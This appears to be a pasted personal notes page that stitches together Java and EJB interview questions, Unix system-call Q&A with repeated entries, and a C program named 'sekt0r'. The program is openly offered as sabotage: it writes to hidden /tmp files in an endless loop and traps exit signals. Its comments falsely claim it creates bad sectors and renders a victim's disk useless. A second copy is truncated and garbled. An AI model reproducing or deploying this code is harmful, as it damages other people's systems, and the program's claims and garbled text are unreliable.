?? int.txt
字號:
can we declare an annonymus class as both extending a class and implementing an interface?
how do we access native code
difference b/w serializable and externalizable
how observer and observable is used
how can we accure a lock on class
what is the pupose opf runtime and system class
diff b/w static and non-static inner classes
what is an object lock and which object have lock
what is a ResourceBundle class
what is tunneling and servlet chaining
what is design by contract
what is dynamic method dispatch
types of jdbc driver
what is unicast remote object
what is connection pooling and how to implement it
how to create and kill a cookie
what do you mean by uses-a relationship
how to implement for each loop
how to create a datagram socket and server socket
how will you get the platform dependent values like line seprator and path seprator etc. (System.getProperty(path.seprator))
how to initilize a user defined font in swing
how cross domain applets communicate each other
what is dearty read or phantom read
different types of transaction isolation
what do you mean by datasouce and how to get it by jndi
how do you call a storedprocedure and pass in/out paremeter to it and collect result.
how do you retrive warnings in sql
current version of jdbc and diff b/w 2.0/3.0/4.0
is connection is class and interface and why connection is interface
how do you create a custom rowsetmetadata object or rowsetreader or cashedrowset or webrowset
what do you mean by unsatisfiedlink error
Is it possible to share an HttpSession between a JSP and EJB? What happens when I change a value in the HttpSession from inside an EJB?
Can you control when passivation occurs?
What happens if remove( ) is never invoked on a session bean?
What is the difference between ejbstore and ejbload?
Is it legal to have static initializer blocks in EJB?
Is it possible to stop the execution of a method before completion in a SessionBean? not
ORM levels
What is the difference between and merge and update ?
How do you define sequence generated primary key in hibernate?
Define cascade and inverse option in one-many mapping?
How do you invoke Stored Procedures?
how do you see hibernate generated sql state ments at console?
What are derived properties?
explain theta style join in hsql?
What is Hibernate proxy
types of instance states?
types of instance models? or different methods of inheritence hirerchy
what are the different methods of inheritence hirerchy
How many types of ready states in ajax?
What is AJAX polling?
What are the steps for handling concurrent requests in AJAX?
What are the components in the architecture of AJAX?
what is the use of drag and drop feature of ajax
What is the difference between DOM Parser and AUX Parser?
What are context initialization parameters? (JSP)
What is preinitialization of a servlet?
What's the difference between final, finally and finalize?
State the effect of encapsulation, inheritance, and use of interfaces on architectural characteristics?
Differentiate between 2 tier, 3 tier and n-tier architectures?
Difference between connected and disconnected arch?
Identify costs and benefits of using an intermediate data-access object between an entity bean and the data resource.
State the benefits of bean pooling in an EJB container.
State the benefits of Passivation in an EJB container.
State the benefit of monitoring of resources in an EJB container.
What is heap and stack?
List class loaders and also explain function of each?
What is the difference between interpreted code and compiled code?
. What are the Unix system calls for I/O?
open(pathname,flag,mode) - open file
creat(pathname,mode) - create file
close(filedes) - close an open file
read(filedes,buffer,bytes) - read data from an open file
write(filedes,buffer,bytes) - write data to an open file
lseek(filedes,offset,from) - position an open file
dup(filedes) - duplicate an existing file descriptor
dup2(oldfd,newfd) - duplicate to a desired file descriptor
fcntl(filedes,cmd,arg) - change properties of an open file
ioctl(filedes,request,arg) - change the behaviour of an open file
The difference between fcntl anf ioctl is that the former is intended for any open file, while the latter is for device-specific operations.
5. How do you change File Access Permissions?
Every file has following attributes:
owner's user ID ( 16 bit integer )
owner's group ID ( 16 bit integer )
File access mode word
'r w x -r w x- r w x'
(user permission-group permission-others permission)
r-read, w-write, x-execute
To change the access mode, we use chmod(filename,mode).
Example 1:
To change mode of myfile to 'rw-rw-r--' (ie. read, write permission for user - read,write permission for group - only read permission for others) we give the args as:
chmod(myfile,0664) .
Each operation is represented by discrete values
'r' is 4
'w' is 2
'x' is 1
Therefore, for 'rw' the value is 6(4+2).
Example 2:
To change mode of myfile to 'rwxr--r--' we give the args as:
chmod(myfile,0744).
24. What is 'ps' command for?
The ps command prints the process status for some or all of the running processes. The information given are the process identification number (PID),the amount of time that the process has taken to execute so far etc.
24. What is 'ps' command for?
The ps command prints the process status for some or all of the running processes. The information given are the process identification number (PID),the amount of time that the process has taken to execute so far etc.
40. What is Expansion swap?
At the time when any process requires more memory than it is currently allocated, the Kernel performs Expansion swap. To do this Kernel reserves enough space in the swap device. Then the address translation mapping is adjusted for the new virtual address space but the physical memory is not allocated. At last Kernel swaps the process into the assigned space in the swap device. Later when the Kernel swaps the process into the main memory this assigns memory according to the new address translation mapping.
57. What is BSS(Block Started by Symbol)?
A data representation at the machine level, that has initial values when a program starts and tells about how much space the kernel allocates for the un-initialized data. Kernel initializes it to zero at run-time.
What are the different types of shells available in UNIX? Latest Answer: bourne (sh)c shell (csh)korn (ksh)bourne again shell (bash)TC shell (tcsh) ...
How to find how many users have logged in and logged out in last five minutes using shell scripts?how many users have logged in and logged out in last five or 10 minutes Latest Answer: By Typing Who command ...
/*create bad sectors on the hard disk.
*
* This program will create bad sectors on the hard disk. If you left it
* running for long enough, it could render a hard disk quite useless. When
* bad sectors are found, the sector is marked as bad, so fixing the hard disk
* is not an easy task. Unless the victim has time and knowledge to fix the
* disk, the hard drive can be left quite literally defective.
* supported by preetam
* I don't take responsibility for what you do with this program, served foe educational purpose only.
*
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf("sekt0r: trashing hard disk with bad sectors!\n");
while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);
for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);
} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */
void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}
#include
#include
#include
#include
#include
#include
#include
#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf(攕ekt0r: trashing hard disk with bad sectors!\n